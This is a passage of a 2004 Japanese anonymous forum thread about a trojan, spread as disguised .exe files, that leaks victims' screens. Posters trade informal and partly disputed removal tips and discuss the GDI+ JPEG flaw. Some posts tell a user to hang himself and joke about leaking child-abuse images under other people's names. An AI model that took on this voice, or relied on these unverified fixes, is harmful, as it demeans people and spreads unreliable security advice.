ノートンでスキャン中の画像がよく晒されてたけど
対策ソフト入れてると安心するから簡単に引っかかるんじゃないの。
しかもこういう祭り時には無力。全くの無駄金だな。

777:[名無し]さん(bin+cue).rar
04/09/23 09:53:59 qlyssBj7
拡張子表示は鬱陶しいし、長いスペースとかがあるから詳細表示のファイルの種類で判断してるなぁ

778:[名無し]さん(bin+cue).rar
04/09/23 09:55:34 GmtpX3PS
>>771
そのレジストリとやらは良く分からんが…
まあ、とりあえず初心者板で聞いてくる。
検索したらshellsystem.exeが見付かった。
とりあえず、急ぎます。ありがとう。

779:[名無し]さん(bin+cue).rar
04/09/23 09:57:12 cDvdfQLH
>拡張子表示は鬱陶しい

ﾊｧ?

780:[名無し]さん(bin+cue).rar
04/09/23 10:00:05 /EYVc77v
明かされてる画像みても無害？

781:[名無し]さん(bin+cue).rar
04/09/23 10:01:16 xduUn+v/
いくらノートン先生でも、登場したてのトロイにすぐには反応できませんぜ
今回の作成日時は、3本とも22日15:57 流されたのが夕方としても、まだ
10時間しかたってない。しかも踏んでるやつ大杉。

作者も、これほどの効果を期待してなかっただろーな。そうでなきゃアプロダ
が落ちるというのも考慮してると思う。この反応からして、ここ数日間に数種の
亜種が出てくると思う。トロイの改変も楽勝っぽいので、便乗犯も多そう。

一番のセキュリティホールは、ユーザーの意識だもんよ。

782:[名無し]さん(bin+cue).rar
04/09/23 10:03:05 Ze0M08FR
ちなみにキンタマが発見されたのが3月半ば。対応は3月末。

783:[名無し]さん(bin+cue).rar
04/09/23 10:03:32 kDRZUavo
歴史は繰り返す。

784:[名無し]さん(bin+cue).rar
04/09/23 10:05:29 4TL6YJ26
そして人は学ばない

785:[名無し]さん(bin+cue).rar
04/09/23 10:07:05 7loVoFeI
mp3の名前などを勝手にいじるウィルスってあります？

786:[名無し]さん(bin+cue).rar
04/09/23 10:08:25 LvJ+JBBu
>>729
アイコンでわかるだろ？

787:[名無し]さん(bin+cue).rar
04/09/23 10:12:17 kDRZUavo
>>786
アイコンがフォルダアイコンに偽装されてるから無知が実行する。

788:[名無し]さん(bin+cue).rar
04/09/23 10:16:24 qJ0+JsGI
で、誰かウイルス駆除ソフト屋さんに報告したの?

789:[名無し]さん(bin+cue).rar
04/09/23 10:23:29 iqYKdWhe
>>780
画像自体は無害。
って、こんな程度の知識の人が踏むんだろうなぁ。

790:[名無し]さん(bin+cue).rar
04/09/23 10:29:04 ky5A4Ls4
>>789
URLﾘﾝｸ(www.microsoft.com)

こんなのがあるから一概には大丈夫とは言えないかもしれない

791:[名無し]さん(bin+cue).rar
04/09/23 10:30:06 0lvmtZMl
>>789
っていう、おまえも相当やばいのだが

792:[名無し]さん(bin+cue).rar
04/09/23 10:32:33 cDvdfQLH
>>789
　　　　　　　　　　　　　　　　　　　　　　　　　　,､ｧ
　　　　　　　　　　　　　　　　　　　　　　　　,､ '";ｨ'
_＿_＿＿___　　　　　　　　　　　　　　　／::::::/l:l
─- ､::::;;;;;;;;;｀ﾞﾞ''‐ ､　　 __,,,,......,,,,_／:::::::::/: !|
　　. : : : : : : ｀ﾞ'ヽ､:::ﾞヾ´::::::::::::::::::::::｀ﾞﾞﾞ'''‐'､. l|　　　またまた　ご冗談を
､､ . : : : : : : : : r'":::::::::::::::::::::::::,r':ぃ::::ヽ::::::::ヽ!　　　　　　　　　　　　　　　　　,､- ､
.ヽ:ﾞヽ; : : : : : :ノ:::::::::::::::::::::;;､-､､ﾞ::: 　　 rｰ-:'､　　　　　　　　　　　　　　／　　 }￢､
.　＼::ﾞ､: : : :./::::::::::::::;､-''"::::::::::　　　,...,:::,::.,　:::':､　　　　　　　　　　　_,,/,,　 ,､.,/ 　 }
　　　ヽ:ヽ､ /:::::::::::::::::::::::::　　　_　　｀ﾞ''‐''"　 __,,',,,,___　　　　　　　／~　　ヾ::::ﾂ,､-/
　　　　｀ヽ､:::::::::;;;､､--‐‐'''''',,iﾆ-　　　 _|　　､-l､,},,　￣""'''￢-, '　 ''‐-､ .,ﾉ'ﾞ,i';;;;ﾂ
　　　_,,,､-‐l'''"´:::::::'　　,､-'" ,.X,_,,､-v'"''ﾞ''yr-ヽ / ﾞﾞ'ヽ､,　　　 ,.'　　　　 jﾞ,,, ´　7
,､-''"　　　.l:::::::::::;､-''"　 ,.-'　　ﾞ､""ヾ'r-;;:l　　冫、　　ヽ､ /　　 __,,.ノ:::::ヽ. /
　　　　　　　l;､-'ﾞ:　　 ,／　　　　　ゞ=‐'"~ﾞﾞ')　./.　＼　　　　/　　'''"/::::;:::;r-''‐ヽ
　　　　　,､‐ﾞヽ:::::..,.r'ﾞ　　　　　　　　 ,,. ,r／ ./　　　ヽ.　　 ,'　　　 '､ノ''"　　　ﾉ
　　 ,､‐'ﾞ　　　ﾝ;"::::::.　　　　　　　"´ 'ﾞ ´　/　　　　　ﾞ､　,'　　　　　　　／
　　'　　　　　／/:::::::::　　　　　　　　　　　　{.　　　　　　 V　　　　　　／
　　　　／ ./:::::::::::::　　　　　　　　　　　　',　　　　　　 /　　　　　　　 /
.　　　　／　 /:::::::::::::::::.　　　　　　　　　　　　',.　　　　 /　　 ,.､　　　　 /

793:[名無し]さん(bin+cue).rar
04/09/23 10:35:22 iqYKdWhe
>>790-792
いやあ、もちろんgdiplus.dllは知ってますって。わざわざ書かなくていいかと思ったんだけど。
こんなにレスが付くとは…。

794:[名無し]さん(bin+cue).rar
04/09/23 10:36:31 cDvdfQLH
>>793
　　　　　　　　　　　　　　　　　　　　　　　　　　,､ｧ
　　　　　　　　　　　　　　　　　　　　　　　　,､ '";ｨ'
_＿_＿＿___　　　　　　　　　　　　　　　／::::::/l:l
─- ､::::;;;;;;;;;｀ﾞﾞ''‐ ､　　 __,,,,......,,,,_／:::::::::/: !|
　　. : : : : : : ｀ﾞ'ヽ､:::ﾞヾ´::::::::::::::::::::::｀ﾞﾞﾞ'''‐'､. l|　　　またまた　ご冗談を
､､ . : : : : : : : : r'":::::::::::::::::::::::::,r':ぃ::::ヽ::::::::ヽ!　　　　　　　　　　　　　　　　　,､- ､
.ヽ:ﾞヽ; : : : : : :ノ:::::::::::::::::::::;;､-､､ﾞ::: 　　 rｰ-:'､　　　　　　　　　　　　　　／　　 }￢､
.　＼::ﾞ､: : : :./::::::::::::::;､-''"::::::::::　　　,...,:::,::.,　:::':､　　　　　　　　　　　_,,/,,　 ,､.,/ 　 }
　　　ヽ:ヽ､ /:::::::::::::::::::::::::　　　_　　｀ﾞ''‐''"　 __,,',,,,___　　　　　　　／~　　ヾ::::ﾂ,､-/
　　　　｀ヽ､:::::::::;;;､､--‐‐'''''',,iﾆ-　　　 _|　　､-l､,},,　￣""'''￢-, '　 ''‐-､ .,ﾉ'ﾞ,i';;;;ﾂ
　　　_,,,､-‐l'''"´:::::::'　　,､-'" ,.X,_,,､-v'"''ﾞ''yr-ヽ / ﾞﾞ'ヽ､,　　　 ,.'　　　　 jﾞ,,, ´　7
,､-''"　　　.l:::::::::::;､-''"　 ,.-'　　ﾞ､""ヾ'r-;;:l　　冫、　　ヽ､ /　　 __,,.ノ:::::ヽ. /
　　　　　　　l;､-'ﾞ:　　 ,／　　　　　ゞ=‐'"~ﾞﾞ')　./.　＼　　　　/　　'''"/::::;:::;r-''‐ヽ
　　　　　,､‐ﾞヽ:::::..,.r'ﾞ　　　　　　　　 ,,. ,r／ ./　　　ヽ.　　 ,'　　　 '､ノ''"　　　ﾉ
　　 ,､‐'ﾞ　　　ﾝ;"::::::.　　　　　　　"´ 'ﾞ ´　/　　　　　ﾞ､　,'　　　　　　　／
　　'　　　　　／/:::::::::　　　　　　　　　　　　{.　　　　　　 V　　　　　　／
　　　　／ ./:::::::::::::　　　　　　　　　　　　',　　　　　　 /　　　　　　　 /
.　　　　／　 /:::::::::::::::::.　　　　　　　　　　　　',.　　　　 /　　 ,.､　　　　 /

795:[名無し]さん(bin+cue).rar
04/09/23 10:37:15 iqYKdWhe
んー、でもよく考えると俺が間違ってるな。MSのGDI+の事も書けばよかった。

796:[名無し]さん(bin+cue).rar
04/09/23 10:37:27 xduUn+v/
今回のに限っていえば、晒されてるjpegは今のとこ無害だからな。
便乗してアプロに仕込むやつもいそうだが

797:[名無し]さん(bin+cue).rar
04/09/23 10:41:34 xduUn+v/
つーか、GDI+対策しないで、今頃jpeg開く香具師が悪いと思われ
パッチがあがった時点から危険度急上昇だぞ

798:[名無し]さん(bin+cue).rar
04/09/23 10:42:55 EMRLV6EZ
jpgで感染！？(ﾟдﾟ)すんのかよ！？

799:[名無し]さん(bin+cue).rar
04/09/23 10:45:36 LvJ+JBBu
>>798
するよ～、jpg見るどころか、うｐロダ逝ったら即感染ですよ
怖いよ～ウィルスわ

800:[名無し]さん(bin+cue).rar
04/09/23 10:52:21 ky5A4Ls4
まあ、SP2な俺には関係ないが

801:[名無し]さん(bin+cue).rar
04/09/23 10:54:42 iqYKdWhe
>>798
まだしてないなら、すぐWindowsUpdataした方がいいよ。
って、「重要なパッチは、もうすでに当ててるだろ？」って認識で話するのは、やっぱり
やめた方がよさそうだな。そこが間違ってた。それに今後も新しく判明した画像処理の
脆弱性をついたウィルスが、現れない保証もない。これからは画像も油断できないと
言う事か。

802:[名無し]さん(bin+cue).rar
04/09/23 10:55:44 jZRbqOye
>>801
SP2を入れると不具合出そうで恐いよ～。

803:[名無し]さん(bin+cue).rar
04/09/23 10:56:54 ky5A4Ls4
URLﾘﾝｸ(www.openwall.com)
とりあえずテストページ。ここの"I am ready to die."を踏んでクラッシュしたら
SP2を当てるかWindowsUpdateしないと危険。ちなみにﾉｰﾄｿが反応するから、
ウイルス対策ソフト入れてる人は安心してもいいかもしれない

804:[名無し]さん(bin+cue).rar
04/09/23 11:07:06 EMRLV6EZ
２ｃｈブラウザのjpg垣間見機能でもだめか？

805:[名無し]さん(bin+cue).rar
04/09/23 11:12:11 jZxILG0u
>766
LANケーブル抜いてネット切断、それで首吊れ

806:[名無し]さん(bin+cue).rar
04/09/23 11:12:12 zW53Q5jb
苺きんたま対策(仮)
URLﾘﾝｸ(www.geocities.jp)

まとめサイトできたようだ

807:[名無し]さん(bin+cue).rar
04/09/23 11:14:52 2DsdDYOp
>>469
ダウンロードできないんだけど、もう削除されたかな？

808:[名無し]さん(bin+cue).rar
04/09/23 11:22:10 PFKtStB6
>>766
再起動してタスクマネージャー開いてプロセス見ろ。
それでshellsystem.exeを終了させろ。
これで動作は速くなる。
あとはレジストリでshellsystem.exeを削除すれば終了

809:[名無し]さん(bin+cue).rar
04/09/23 11:24:03 sH8yfJe2
マルチプロセスだからタスクマネージャからは消せんぞ。

810:[名無し]さん(bin+cue).rar
04/09/23 11:27:07 PFKtStB6
>>809
遊びで感染したんだが、再起動させたら俺は消せた。
なんでかはわからん

811:[名無し]さん(bin+cue).rar
04/09/23 11:31:26 cDvdfQLH
112 名前：eatkyo287016.adsl.ppp.infoweb.ne.jp＠Share使用中 ◆i.ESDXOLYY [] 投稿日：04/09/23 10:43:42 ID:La2FDeZx
{Now!}俺のクリップボード(50byte 10行抜粋版, 何もコピーしてません)
～何も無いので環境変数晒し～

コンピュータ名: VIP
ユーザー名: takehiro

ﾜﾛﾀ

812:[名無し]さん(bin+cue).rar
04/09/23 12:35:25 2aG10cCS
俺どうせ割れ窓だから笑えるユーザー名でわざと踏んで晒してみるか
ほりえもんとか毎日新聞で凶悪ぺド画像とか

813:[名無し]さん(bin+cue).rar
04/09/23 12:43:24 IQ9BvSXd
しまった、祭りに乗り遅れた。
nyか洒落にあがってないかな(w

814:[名無し]さん(bin+cue).rar
04/09/23 12:45:03 tyH5EMtg
>>813
京都府警にしてよ

815:[名無し]さん(bin+cue).rar
04/09/23 12:46:19 k8gkpGNZ
このトロイの動作解説ページってまだないかな。

なんかおもしろそうだから感染させてみたいんだが。

816:[名無し]さん(bin+cue).rar
04/09/23 12:46:30 IqZ2HObi
× しまった、祭りに乗り遅れた。

○ うお
　　完璧乗り遅れた

817:[名無し]さん(bin+cue).rar
04/09/23 12:49:27 k8gkpGNZ
Winnyを立ち上げてない限り，被害はないんだろ？
何で祭りになってんだ？？

818:[名無し]さん(bin+cue).rar
04/09/23 12:51:17 cDvdfQLH
初級ネットワーク板ローカルルール申請
ｽﾚﾘﾝｸ(operate板)

Share10_a56 + [9月21日付]ノードリストの文字列が多い・・・あやしいな

819:[名無し]さん(bin+cue).rar
04/09/23 12:56:30 J5HdIDac
「Share10_a56 + [9月21日付]ノードリスト」ってファイルにウィルス入ってるんだろうな

820:[名無し]さん(bin+cue).rar
04/09/23 12:57:37 pr4shzQV
>>817
ｎｙは関係ない

821:[名無し]さん(bin+cue).rar
04/09/23 12:59:51 lSmv7nYn
ファイル名変えて、あちこちに貼られてら。

822:[名無し]さん(bin+cue).rar
04/09/23 13:00:20 xCg9vDsC
なんか、もれのデスクトップ画像が２ｃｈアプロと言う
どこかにアップされているらしいです。

それを見て自分を笑いたいのですが、どこにあるか
分かりますでしょうか。

823:[名無し]さん(bin+cue).rar
04/09/23 13:00:37 RdY8SqQw
俺はVirtual PC上のWinMEでny実行してるから、晒されても問題ないな。
しかもホストOSはOS Xだし

824:[名無し]さん(bin+cue).rar
04/09/23 13:02:37 cDvdfQLH
Share10_a56 + [9月21日付]ノードリスト 18禁無修正ガンダム画像映画動画一般コミックエロゲ
PS2PV巨乳アニメゲーム一般ゲームサントラアルバムMAD無修正アプリ写真集DVD.zip
1,219,360
13deb3c8b87346cd5b1a9de9029c855fc7b6128e

これか

825:[名無し]さん(bin+cue).rar
04/09/23 13:08:21 NktT5qfN
7-zip反則だな。これなら1/3近くにもなるわけだ。

7-Zip (A) 3.12 Copyright (c) 1999-2003 Igor Pavlov 2003-12-10

Listing archive: F:\DESKTOP\キンタ~1.7Z

Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------
2004-09-22 15:57:10 ....A 677376 319288 (写真集) (ロリータ) 水原友里.exe
2004-09-22 15:57:10 ....A 677376 0　　 (写真集) (ロリータ) 相田香奈子.exe
2004-09-22 15:57:10 ....A 677376 0　　コピー～ (写真集) (ロリータ) 河瀬菜美.exe
------------------- ----- ------------ ------------ ------------
2032128 319288 3 files

キンタ~1 7Z 319,524 04-09-23 12:58 キンタマ詰合.up1360.7z
キンタ~1 BZA 1,003,287 04-09-23 13:00 キンタマ詰合.up1360.bza
キンタ~1 CAB 1,032,957 04-09-23 13:00 キンタマ詰合.up1360.cab
キンタ~1 YZ1 1,055,366 04-09-23 12:58 キンタマ詰合.up1360.yz1
キンタ~1 ZIP 1,033,786 04-09-22 21:25 キンタマ詰合.up1360.zip

826:[名無し]さん(bin+cue).rar
04/09/23 13:09:25 cDvdfQLH
ナニソレ

827:[名無し]さん(bin+cue).rar
04/09/23 13:14:14 EKR+VzAM
これってjpgのリンク踏んだだけで感染するんですか

828:[名無し]さん(bin+cue).rar
04/09/23 13:17:14 cDvdfQLH
ｎo

829:[名無し]さん(bin+cue).rar
04/09/23 13:29:10 JTze3qp6
SSの機能を無効にする方法って無いの？

830:[名無し]さん(bin+cue).rar
04/09/23 13:30:03 H4H6HXnY
新種のキンタマが開発されたと聞いて飛んできました

ノートン先生がスルー・・・？　ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

831:[名無し]さん(bin+cue).rar
04/09/23 13:32:02 joit0XmS
ファイル踏んだ覚えないのにshellsystem.exeがレジストリにあった場合は
感染してるんでしょうか
プロセスなどにはshellsystem.exeはありませんでした

832:[名無し]さん(bin+cue).rar
04/09/23 13:34:53 Y12C9VC7
>>831
どうせ検索の履歴だろ

833:[名無し]さん(bin+cue).rar
04/09/23 13:35:15 H4H6HXnY
>>831
削除するに越した事は無いんじゃないですか？

834:[名無し]さん(bin+cue).rar
04/09/23 13:39:50 joit0XmS
Microsoft\search Assiant\ACMru\5603の位置にあったので検索履歴みたいです
ありがとうございました

835:[名無し]さん(bin+cue).rar
04/09/23 14:25:04 ungvXIMz
test

836:[名無し]さん(bin+cue).rar
04/09/23 14:58:32 xduUn+v/
>>825
その実験は興味深いな、7zなら重複ファイル簡単に探せるね。
CRCを見てて、同じだったらファイル名だけ残して捨てるんだな
つか、一見、普通のファイル集合体のようで、展開したら
むちゃくちゃ容量食う圧縮爆弾を簡単に作れるじゃねーか。怖。

ちなみにrarだと800KBぐらい

837:[名無し]さん(bin+cue).rar
04/09/23 15:02:36 mmGHQUsE
exe ファイル　捨てたい

838:[名無し]さん(bin+cue).rar
04/09/23 15:08:30 jZRbqOye
苺きんたまきんたま
URLﾘﾝｸ(www.geocities.jp)
これを。

839:[名無し]さん(bin+cue).rar
04/09/23 15:25:44 UZ3hgOe/
>>837
602 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：04/09/23(木) 00:03:45 ID:mmGHQUsE
俺は正直このくらいでいい。
観てるほうは面白いし晒された方はちょっと恥ずかしいけど
そんなにダメージでかくない。あとは画像が見れれば最強なんだが。

610 名前：[名無し]さん(bin+cue).rar[] 投稿日：04/09/23(木) 00:09:58 ID:mmGHQUsE
>>604
作者は力入れるとこ間違ってる気がする。

629 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：04/09/23(木) 00:29:36 ID:mmGHQUsE
おいおまいら関祭りには参加しなかったのか？

634 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：04/09/23(木) 00:35:59 ID:mmGHQUsE
tesu

840:[名無し]さん(bin+cue).rar
04/09/23 15:26:49 UZ3hgOe/

637 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：04/09/23(木) 00:39:46 ID:mmGHQUsE
てす

639 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：04/09/23(木) 00:42:44 ID:mmGHQUsE
ニュー速で規制されたorz
９０秒ってなげーよ・・・

662 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：04/09/23(木) 01:10:41 ID:mmGHQUsE
しかし久々にflashget使ったよｗ

668 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：04/09/23(木) 01:35:42 ID:mmGHQUsE
もううｐはやんだの？

679 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：04/09/23(木) 02:47:44 ID:mmGHQUsE
あ～面白かった。三日分は笑ったな。

837 名前：[名無し]さん(bin+cue).rar[sage] 投稿日：04/09/23(木) 15:02:36 ID:mmGHQUsE
exe ファイル　捨てたい

841:[名無し]さん(bin+cue).rar
04/09/23 16:00:42 gRp4IpXR
なになに？笑って見てたら笑えない状況になったのかID:mmGHQUsEは？

次ページ